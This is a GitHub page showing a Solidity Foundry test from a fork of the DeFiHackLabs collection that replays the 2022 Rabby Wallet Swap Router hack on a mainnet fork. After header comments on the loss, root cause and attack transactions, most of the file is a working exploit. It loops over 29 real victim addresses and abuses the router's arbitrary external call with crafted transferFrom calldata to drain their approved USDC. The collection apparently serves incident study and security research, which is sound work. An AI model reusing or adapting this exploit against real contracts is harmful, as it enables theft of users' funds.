forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
RabbyWallet_SwapRouter.exp.sol
125 lines (110 loc) · 6.39 KB
/
RabbyWallet_SwapRouter.exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~200,000 US$
// Root cause : Classic arbitrary external call vulnerability
// Multiple tokens has been stolen, and 114 ETH deposited to Tornado Cash
// Attacker : 0xb687550842a24d7fbc6aad238fd7e0687ed59d55
// Attack Contract : 0x9682f31b3f572988f93c2b8382586ca26a866475
// Vulnerable Contract : 0x6eb211caf6d304a76efe37d9abdfaddc2d4363d1 and these: https://twitter.com/Rabby_io/status/1579833969566449666
// Attack Txs :
// 0x914c1ae4f03657064f0b1d5ddc6e06f39e82bce6fb2f726efdca52c092fbfc26
// 0xa02c180149ce03d1b6e3d412585000b968b7db59a277717ec51d0899c1a3c017
// 0x914c1ae4f03657064f0b1d5ddc6e06f39e82bce6fb2f726efdca52c092fbfc26
// 0xf1c1066c259672396b8f242311a9f1c83bfa52c27529d713d80a3da93047c37f
// 0x53835af1b7df33435188d2380328b81c0e8a22b01353c76e3dac352275895b45
// 0x322592750691798488006a26aa042b55ab9d7637f9b0adc42089a4c480e51870
// 0xce0935010baf445e300d4d600caac7fc1fecb5ccb092cdbef57904aa7e5408b2
// 0x366df0c20e00666749b16ae00475b3c41834dc659ebb29e059aa9bffa892c038
// 0x9fac5412eb42aab07dcb2c5fbb03669aaa98d9c57849d44d8291d3156d9f4871
// 0xff1f352912666796d5cd51b5dfa3e6319544aeb5938e1e9f310fd5fcb02be6da
// 0x84156ea5360b679dfa7cdda80c16aafbfdf1ba20b84bcf76f79666f0c405b86f
// 0xc10ec615e2d18c8a7dad2bb2418c422472565d9622ed851298fc848c3a451387
// 0x7cefbfd14497b1c577423d94ea521615991eee2590fab980230d9dd1d80ccf1c
// 0x8bcac5e570aa695b5e0ce7dd58766eaa5830f44bbef5008aef63c6efb036e717
// 0xb3af75f703ddc5d15ff872585b7d970c5204b90399a5859ec39e736a2ffbf375
// 0x708ffcf4a76bd159056afb17ce6c5f5adcb5899e465bbf038aae79c3cef666ae
// 0xca53e107a9a21d8f431614570a98c4718cca7172415e3fbed8842d426ac3ab54
// 0x5bbab18059f8c3fec56a0ddcd15feddf7cda8b8007b254436956db1d9ffe72ec
// 0x6899b8caee16dbd75359cabcd24e32b2362c474cdf39ea810cf4386018761beb
// 0x07887fffc4488354d813fdcca5da0586dd6f9a3da36d503af768302eacbeec41
// Reproduce Tx: Steal USDC - 0x914c1ae4f03657064f0b1d5ddc6e06f39e82bce6fb2f726efdca52c092fbfc26
//
// @Analysis
// Supremacy Inc. : https://twitter.com/Supremacy_CA/status/1579813933669486592
// SlowMist : https://twitter.com/SlowMist_Team/status/1579839744128978945
// Beosin Alert : https://twitter.com/BeosinAlert/status/1579856733178331139
CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
address constant attacker = 0xb687550842a24D7FBC6Aad238fd7E0687eD59d55;
address constant RabbySwapRouter = 0x6eb211CAF6d304A76efE37D9AbDFAdDC2d4363d1;
address constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
contract Attacker is Test {
function setUp() public {
cheat.createSelectFork("mainnet", 15724451);
cheat.label(attacker, "attacker");
cheat.label(RabbySwapRouter, "RabbySwapRouter");
cheat.label(usdt, "USDT");
cheat.label(usdc, "USDC");
}
function testExploit() public {
emit log_named_decimal_uint("[Before] Attacker's USDC Balance:", IERC20(usdc).balanceOf(address(this)), 6);
// Somehow attacker got these EOA addresses that are approved the Rabby Wallet Swap Router contract.
// ...Maybe the attacker grep the history Txs and find those victims that interacted with the Swap Router contract.
address[29] memory victims = [
0x94228872bb16CBCDfe010c42a8e456d15B366bF1,
0x6a3BCee1eBeBDaA099a46d21a355D0FF1C521fCB,
0xDAcCce559a0571083556f39d05b177579613D83b,
0x720610ed4925676D971B0ae5b3080bd233E19038,
0xf9e1D1e9F22c96752356AdFd377231528c7E851E,
0xAF22b1692dEe5929952cFBA4D9a74c0952C712C8,
0xFcdB212E7e7588D2dd2cc44C30F6C79fB507DB4B,
0x9A93C5f7680724F6b7097085B0052A56D80615Bd,
0x491968b05D95979BA3a52D73D8a39EA96693f011,
0xc64284527B04A48c6673dF62f5B48188Ccfdf658,
0x9df99a08710615FaBcb16Ea0b05ED039e8a5F644,
0xc897967Bab363caDD4F3001d51506bCc5DD6f6C2,
0x48aa9d67cb713804C005516BCa7769c159d7897C,
0xB9AFb68de4E1f89acA813ca75d87bd86a1a17aa3,
0xC10898edA672fDFc4Ac0228bB1Da9b2bF54C768f,
0x73B37009778048f6dB88fD602582473e74e5019a,
0xbB4b297cC5257D8ab7F280361C96b3A27014EbBb,
0x5BE2539BaA7622865FDc401bA26adB636d78f5Bf,
0x25939E70Dc19ef0aa2819f5c6544712a36eEbfa7,
0x5853eD4f26A3fceA565b3FBC698bb19cdF6DEB85,
0x73a6b16aD155aCd15F1A69e61369DB883dFC0b0b,
0xE451DC0948F33B1261c585f0DB84cca9Ab69F3A4,
0xd38023D7Ee559672fA00eA5156734710bcc0e781,
0x059c1592696D430E7bA8cccC984BA9639b8CF90B,
0x69AfE88F22F416fFB7d2Bf119b31EBc0D0d85325,
0xD506Fb416B0ad8DBf7859B9B38c435405E3d1110,
0xe7b6804A9fE8aDEb109112A8A2CF40093E0d55fc,
0xeEBbAf298bb8B5076723d69AF61bf75a5C2ad8d6,
0x1Fc550e98aD3021e32C47A84019F77a0792c60B7
];
for(uint i; i < victims.length; ++i){
// Step1: Check the victim allowance
uint256 vic_balance = IERC20(usdc).balanceOf(victims[i]);
uint256 vic_allowance = IERC20(usdc).allowance(victims[i], RabbySwapRouter);
// Step2: If allowance >= balance: exploit!
if (vic_allowance >= vic_balance) {
// Classic arbitrary external calls `swap()` vulnerability, and the parameter `address dexRouter` is controllable.
bytes memory usdc_callbackData = abi.encodeWithSignature("transferFrom(address,address,uint256)", victims[i], address(this), vic_balance);
IRabbySwap(RabbySwapRouter).swap(usdt, 0, address(this), 4660, usdc, usdc, usdc_callbackData, block.timestamp);
}
}
emit log_named_decimal_uint("[After] Attacker's USDC Balance:", IERC20(usdc).balanceOf(address(this)), 6);
}
function balanceOf(address) external view returns (uint256) {
return 100e18;
}
function transfer(address, uint256) external view returns (bool) {
return true;
}
receive() external payable {}
}
/* -------------------- Interface -------------------- */
interface IRabbySwap {
function swap(address srcToken, uint256 amount, address dstToken, uint256 minReturn, address dexRouter, address dexSpender, bytes memory data, uint256 deadline) external;
}